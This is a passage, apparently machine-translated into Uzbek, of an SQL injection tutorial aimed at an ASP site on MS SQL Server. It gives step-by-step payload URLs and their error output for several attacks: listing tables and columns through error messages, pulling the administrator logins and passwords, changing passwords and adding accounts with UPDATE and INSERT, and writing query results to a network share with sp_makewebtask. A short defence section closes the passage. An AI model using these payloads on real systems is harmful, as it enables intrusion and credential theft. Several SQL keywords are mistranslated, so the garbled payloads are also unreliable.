5.0 SQL so'rovim natijalarini qanday olishim mumkin?

So'rovingizni HTMLda yozish uchun sp_makewebtask dan foydalanishingiz mumkin:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "INFORMATION_SCHEMA.TABLESDAN * TANGLASH"

Belgilangan IP-da hamma uchun kirish huquqiga ega "almashish" papkasi bo'lishi kerak.

6.0 ODBC xato xabarlari yordamida ma'lumotlar bazasidan ma'lumotlarni qanday olish mumkin?

Biz har qanday ma'lumotni olish uchun SQL serveri tomonidan ishlab chiqarilgan xato xabari ma'lumotlaridan foydalanishimiz mumkin. Masalan, quyidagi sahifani ko'rib chiqing:

http://duck/index.asp?id=10

Endi biz "10" butun sonini ma'lumotlar bazasidagi boshqa qator bilan birlashtirishga harakat qilamiz:

http://duck/index.asp?id=10 UNION INFORMATION_SCHEMA.TABLESDAN TOP 1 TABLE_NAME TANLASH--

INFORMATION_SCHEMA.TABLES tizim jadvali serverdagi barcha jadvallar maʼlumotlarini oʻz ichiga oladi.

TABLE_NAME maydoni ma'lumotlar bazasidagi har bir jadval nomini o'z ichiga oladi. U har doim borligini bilganimiz uchun tanlangan. Bizning iltimosimiz:

INFORMATION_SCHEMA.TABLES--DAN TOP 1 TABLE_NAME TANLANING

Ushbu so'rov ma'lumotlar bazasidagi birinchi ismni qaytaradi. Agar biz ushbu satr qiymatini butun 10 ga UNION qilsak, MS SQL Server nvarchar qatorini butun songa aylantirishga harakat qiladi. Bu nvarchar ni int ga aylantira olmasligi haqida xatolikka yo'l qo'yadi. Server quyidagi xatoni chiqaradi:


nvarchar qiymatini "jadval1.) konvertatsiya qilishda sintaksis xatosi" to a column of data type int. !}
/index.asp, 5-qator

Xato xabari butun songa aylantirib bo'lmaydigan qiymat haqida ma'lumotni o'z ichiga oladi. Bunday holda, biz birinchi jadvalning nomini oldik - "table1".

Keyingi jadval nomini olish uchun quyidagi so'rovdan foydalanishimiz mumkin:

http://duck/index.asp?id=10 UNION INFORMATION_SCHEMA.JADVAL_NAME YO'Q ("jadval1")--dan TOP 1 TABLE_NAME TANLASH.

Shuningdek, biz LIKE tugmachasi yordamida ma'lumotlarni qidirishimiz mumkin:

http://duck/index.asp?id=10 UNION INFORMATION_SCHEMA.JADVALLARDAN TOP 1 TABLE_NAME TANLASH QAYERDA TABLE_NAME "%25login%25"--

ODBC drayverlari uchun Microsoft OLE ma'lumotlar bazasi provayderi xatosi "80040e07" "admin_login.) nvarchar qiymatini aylantirishda sintaksis xatosi" to a column of data type int. !} /index.asp, 5-qator

Tegishli "%25login%25" konstruktsiyasi SQL serverida %login% bilan almashtiriladi. Bunday holda, biz "admin_login" mezoniga mos keladigan jadval nomini olamiz.

6.1 Jadvaldagi barcha ustun nomlarini qanday topish mumkin?

Jadvaldagi barcha ustun nomlarini ko'rsatish uchun INFORMATION_SCHEMA.COLUMNS jadvalidan foydalanishimiz mumkin:

http://duck/index.asp?id=10 UNION TABLE_NAME="admin_login"- INFORMATION_SCHEMA.COLUMNS dan TOP 1 USTUN_NAME TANLASH

ODBC drayverlari uchun Microsoft OLE ma'lumotlar bazasi provayderi xatosi "80040e07"
nvarchar qiymatini "login_id.) konvertatsiya qilishda sintaksis xatosi" to a column of data type int. !}
/index.asp, 5-qator

Endi biz birinchi ustun nomini bilamiz, keyingi ustun nomini olish uchun NOT IN() dan foydalanishimiz mumkin:

http://duck/index.asp?id=10 UNION INFORMATION_SCHEMA.USTUNLARIDAN TOP 1 USTUNNI TANlang. JADVAL_NAME="admin_login" USTUN_NAME YO'Q ("login_id")-

ODBC drayverlari uchun Microsoft OLE ma'lumotlar bazasi provayderi xatosi "80040e07"
"login_name.) nvarchar qiymatini aylantirishda sintaksis xatosi" to a column of data type int. !}
/index.asp, 5-qator

Davom etsak, qolgan ustun nomlarini olamiz, ya'ni. "parol", "tafsilotlar" biz quyidagi xatoni olguncha.

http://duck/index.asp?id=10 UNION INFORMATION_SCHEMA.USTUNLARIDAN TOP 1 USTUNNI TANlang. JADVAL_NAME="admin_login" USTUN_NAME YO'Q ("login_id","login_name","parol",batafsil ma'lumotlar)-

ODBC drayverlari uchun Microsoft OLE ma'lumotlar bazasi provayderi xatosi "80040e14"
Agar iborada UNION operatori bo'lsa, ORDER BY bandlari tanlangan ro'yxatda paydo bo'lishi kerak.
/index.asp, 5-qator

6.2. Biz kerakli ma'lumotlarni qanday olamiz?

Endi biz bir nechta muhim jadvallarni aniqladik, biz ma'lumotlar bazasidan ma'lumotlarni olish uchun xuddi shu texnikadan foydalanishimiz mumkin.

Keling, "admin_login" jadvalidan birinchi login_nameni olamiz:

http://duck/index.asp?id=10 UNION TOP 1 login_name FROM admin_login--

ODBC drayverlari uchun Microsoft OLE ma'lumotlar bazasi provayderi xatosi "80040e07"
"neo.) nvarchar qiymatini aylantirishda sintaktik xato" to a column of data type int. !}
/index.asp, 5-qator

Endi biz "neo" login nomiga ega administrator foydalanuvchi borligini bilamiz. Nihoyat biz "neo" parolini olamiz:

http://duck/index.asp?id=10 UNION admin_login dan TOP 1 parolni tanlang, bu erda login_name="neo"--

ODBC drayverlari uchun Microsoft OLE ma'lumotlar bazasi provayderi xatosi "80040e07"
"m4trix.) nvarchar qiymatini aylantirishda sintaksis xatosi" to a column of data type int. !}
/index.asp, 5-qator

Endi biz "m4trix" paroli bilan "neo" sifatida tizimga kirishimiz mumkin bo'ladi.

6.3 Satrning son qiymati qanday olinadi?

Yuqorida tavsiflangan usulda cheklov mavjud. Agar biz raqamdan (faqat 0...9 gacha bo'lgan belgilar) iborat matnni o'zgartirmoqchi bo'lsak, xato xabarini ololmaymiz. Endi biz "uchlik" foydalanuvchisidan "31173" parolini olishni tasvirlaymiz:

http://duck/index.asp?id=10 UNION admin_login dan TOP 1 parolni tanlang, bu erda login_name="trinity"--

Ehtimol, bizda "Sahifa topilmadi" xatosi paydo bo'ladi. Sababi, "31173" paroli UNION dan oldin butun son bilan (bizning holimizda 10) raqamga aylantiriladi. UNION ifodasi to'g'ri bo'lgani uchun SQL server xato xabarini yaratmaydi va shuning uchun biz raqamli yozuvni ololmaymiz.

Ushbu muammoni hal qilish uchun biz konvertatsiya qilishning oldini olish uchun oxiriga ba'zi harflar bilan raqam qatorini qo'shishimiz mumkin. O'zgartirilgan so'rov:

http://duck/index.asp?id=10 UNION SELECT TOP 1 konvertatsiya (int, parol%2b"%20morpheus") admin_login dan bu erda login_name="trinity"--

Parolni istalgan matn bilan qo'shish uchun biz shunchaki ortiqcha belgisini (+) ishlatamiz ("+" = 0x2b uchun ASSCII kodlash). Keyinchalik, haqiqiy parolning oxiriga "% 20morpheus" qo'shamiz. Shunday qilib, agar parol qiymati "31173" bo'lsa ham, u "31173 morpheus" ga aylanadi. "31173 morpheus" ni butun songa aylantirishga urinayotgan convert() funktsiyasini qo'lda chaqirganda, SQL Server ODBC xato xabarini chiqaradi:

ODBC drayverlari uchun Microsoft OLE ma'lumotlar bazasi provayderi xatosi "80040e07"
"31173 morpheus) nvarchar qiymatini aylantirishda sintaksis xatosi" to a column of data type int. !}
/index.asp, 5-qator

Endi biz "31173" paroli bilan "uchlik" sifatida tizimga kirishimiz mumkin bo'ladi.

7.0 Ma'lumotlar bazasiga ma'lumotlarni qanday o'zgartirish/qo'shish mumkin?

Jadvaldagi ustunlar bo'yicha hammaning ismlarini olganimizdan so'ng, mumkin jadvalga yangi yozuvni yangilang (YANGILASH) yoki hatto yangi yozuvni qo'shing (INSERT). Masalan, biz "neo" uchun parolni o'zgartirishimiz mumkin:

http://duck/index.asp?id=10; YANGILANISh "admin_login" SET "parol" = "newpas5" QERDA login_name="neo--

Ma'lumotlar bazasiga yangi yozuv qo'shish uchun:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "parol", "tafsilotlar") VALUES (666,"neo2","newpas5","NA")--

Endi biz "newpas5" paroli bilan "neo" sifatida tizimga kirishimiz mumkin bo'ladi.

8.0 SQL Injectiondan qanday qochish kerak?

Barcha qatorlardagi maxsus belgilarni filtrlang:

Foydalanuvchi tomonidan kiritilgan har qanday ma'lumotlar
- URL parametrlari
- Cookie

Raqamli qiymatlar uchun ularni SQL so'roviga o'tkazishdan oldin butun songa aylantiring. Yoki butun son ekanligiga ishonch hosil qilish uchun ISNUMERIC dan foydalaning.

SQL Serverni imtiyozsiz foydalanuvchi sifatida ishga tushiring.

Foydalanilmayotgan saqlangan protseduralarni olib tashlang: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask